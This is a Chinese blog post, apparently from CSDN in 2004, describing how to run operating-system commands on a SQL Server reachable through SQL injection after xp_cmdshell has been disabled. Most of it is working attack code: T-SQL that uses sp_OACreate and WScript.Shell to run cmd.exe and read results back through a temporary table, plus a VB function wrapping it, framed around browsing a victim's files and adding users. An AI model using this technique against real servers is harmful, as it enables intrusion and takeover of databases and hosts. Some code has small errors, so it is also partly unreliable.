不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令

原创 2004年09月01日 22:03:00

我的BLOG里有一篇文章介绍了关于SQL注入的基本原理和一些方法。最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单,只需使用下面的SQL语句:

EXEC master.dbo.xp_cmdshell 'dir c:/'

但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险,他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名,这时侯许多人也许会放弃,因为我们无法运行任何的cmd命令,很难查看对方计算机的文件、目录、开启的服务,也无法添加NT用户。

对此作过一番研究,后来我发现即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。
sp_OACreate
在 Microsoft® SQL Server™ 实例上创建 OLE 对象实例。
语法
sp_OACreate progid, | clsid,
    objecttoken OUTPUT
    [ , context ]
sp_OAGetProperty
获取 OLE 对象的属性值。
语法
sp_OAGetProperty objecttoken,
    propertyname
    [, propertyvalue OUTPUT]
    [, index...]
sp_OAMethod
调用 OLE 对象的方法。
语法
sp_OAMethod objecttoken,
    methodname
    [, returnvalue OUTPUT]
    [ , [ @parametername = ] parameter [ OUTPUT ]
    [...n]]

思路:

先在SQL Server 上建立一个Wscript.Shell,调用其run Method,将cmd.exe执行的结果输出到一个文件中,然后再建立一个Scripting.FileSystemObject,通过它建立一个TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。

以下是相应的SQL语句


CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC
sp_oamethod @shell,'run',null,'cmd.exe /c dir c:/>c:/temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC
sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP



请查阅SQL Server联机众书里的关于:
sp_OACreate,sp_OAMethod 和 sp_OAGetProperty,以及有关FSO,WScript的文章
另外如果你需要这个软件的示例请留下Email地址,留下地址的我都发了。

以下是一段实现功能的VB源代码:

'strCommand : 需要被调用的命令,如“dir c:/“
'strShell : 调用的Shell程序,可以为“cmd.exe /c“ 或 “command.com /c“

Pivate Function wsShellExec(ByVal strCommand As String, ByVal strShell As String) As String
On Error GoTo errhandle:
    Dim rsShell As New ADODB.Recordset
    Dim strResult As String
    objConn.Execute "DROP TABLE cmds0001"
    objConn.Execute "CREATE TABLE cmds0001 (Info varchar(400),ID INT IDENTITY (1, 1) NOT NULL )"
    Dim strScmdSQL As String
    strScmdSQL = "declare @shell int " & vbCrLf
    strScmdSQL = strScmdSQL & "declare @fso int " & vbCrLf
    strScmdSQL = strScmdSQL & "declare @file int " & vbCrLf
    strScmdSQL = strScmdSQL & "declare @isend bit " & vbCrLf
    strScmdSQL = strScmdSQL & "declare @out varchar(400) " & vbCrLf
    strScmdSQL = strScmdSQL & "exec sp_oacreate 'wscript.shell',@shell output " & vbCrLf
    strScmdSQL = strScmdSQL & "exec sp_oamethod @shell,'run',null,'" & strShell & " " & Trim(strCommand) & ">c:/BOOTLOG.TXT','0','true' " & vbCrLf
    strScmdSQL = strScmdSQL & "exec sp_oacreate 'scripting.filesystemobject',@fso output " & vbCrLf
    strScmdSQL = strScmdSQL & "exec sp_oamethod @fso,'opentextfile',@file out,'c:/BOOTLOG.TXT' " & vbCrLf
    strScmdSQL = strScmdSQL & "while @shell>0 " & vbCrLf
    strScmdSQL = strScmdSQL & "begin " & vbCrLf
    strScmdSQL = strScmdSQL & "exec sp_oamethod @file,'Readline',@out out " & vbCrLf
    strScmdSQL = strScmdSQL & "insert into cmds0001 (info) values (@out) " & vbCrLf
    strScmdSQL = strScmdSQL & "exec sp_oagetproperty @file,'AtEndOfStream',@isend out " & vbCrLf
    strScmdSQL = strScmdSQL & "if @isend=1 break " & vbCrLf
    strScmdSQL = strScmdSQL & "Else continue " & vbCrLf
    strScmdSQL = strScmdSQL & "End "
    objConn.Execute strScmdSQL
   
    rsShell.Open "select * from cmds0001", objConn, 1, 1
    Do While Not rsShell.EOF
        strResult = strResult & rsShell("info") & vbCrLf
        rsShell.MoveNext
    Loop
   
    objConn.Execute "DROP TABLE cmds0001"
    wsShellExec = strResult
    Exit Function
errhandle:
    If Err.Number = -2147217900 Then
        Resume Next
    ElseIf Err.Number = -2147217865 Then
        Resume Next
    Else
        MsgBox Err.Number & Err.Description
    End If
   
End Function

版权声明:本文为博主原创文章,未经博主允许不得转载。

SSI 注入的介绍和代码防御

0x01 介绍 当符合下列条件时,攻击者可以在 Web 服务器上运行任意命令: A. Web 服务器已支持 SSI(服务器端包含)。 B. Web 应用程序在返回 HTML 页面时,嵌入用户输...
  • qq_29277155
  • qq_29277155
  • 2016年10月07日 19:53
  • 1728

服务器系统及软件常见漏洞

最近由有一个什么事情,大家都懂。上头发了个加密传真,要求加强网络安全检查,于是乎所有服务器进行了大扫描,现整理一些常见漏洞......
  • kang89
  • kang89
  • 2013年07月10日 21:01
  • 15454

HFS Cmd执行漏洞入侵与防御

最近爆出了HFS(Http File Server)爆出了这个漏洞。
  • u010005482
  • u010005482
  • 2014年09月19日 19:02
  • 2545

无xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令

转载:http://www.rrclink.com/itjishu/qitajishu/2012-3-16/10476.html 利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令...
  • aiharry2009
  • aiharry2009
  • 2012年05月04日 12:16
  • 236

在有注入漏洞的SQL服务器上运行CMD命令

利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单,只需使用下面的SQL语句:    EXEC master.dbo.xp_cmdshell 'dir c:\...
  • eldn__
  • eldn__
  • 2013年04月20日 19:59
  • 745

MS SQL入侵(小心 xp_cmdshell)

  • 2012年07月31日 18:38
  • 916B
  • 下载

SQL入侵恢复xp_cmdshell方法总结

1433 SQL入侵恢复xp_cmdshell方法总结  sql server 2005下开启xp_cmdshell的办法  EXEC sp_configure 'show advanced op...
  • eldn__
  • eldn__
  • 2013年04月20日 16:32
  • 866

SQL Server数据导入导出工具BCP详解及xp_cmdshell

SQL Server数据导入导出工具BCP详解及xp_cmdshell   开发者在线 Builder.com.cn  本文关键词: SQL Server 导入导出 bcp exec xp...
  • zhongguoren666
  • zhongguoren666
  • 2011年12月14日 10:12
  • 8197

sql server使用xp_cmdshell动态创建文件夹

sql server使用xp_cmdshell动态创建文件夹。xp_cmdshell使用说明。
  • imlmy
  • imlmy
  • 2014年04月17日 14:58
  • 4764

SQL Server恢复xp_cmdshell过程的几种方法

SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_co...
  • harryxlb
  • harryxlb
  • 2011年10月22日 22:40
  • 442
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令
举报原因:
原因补充:

(最多只允许输入30个字)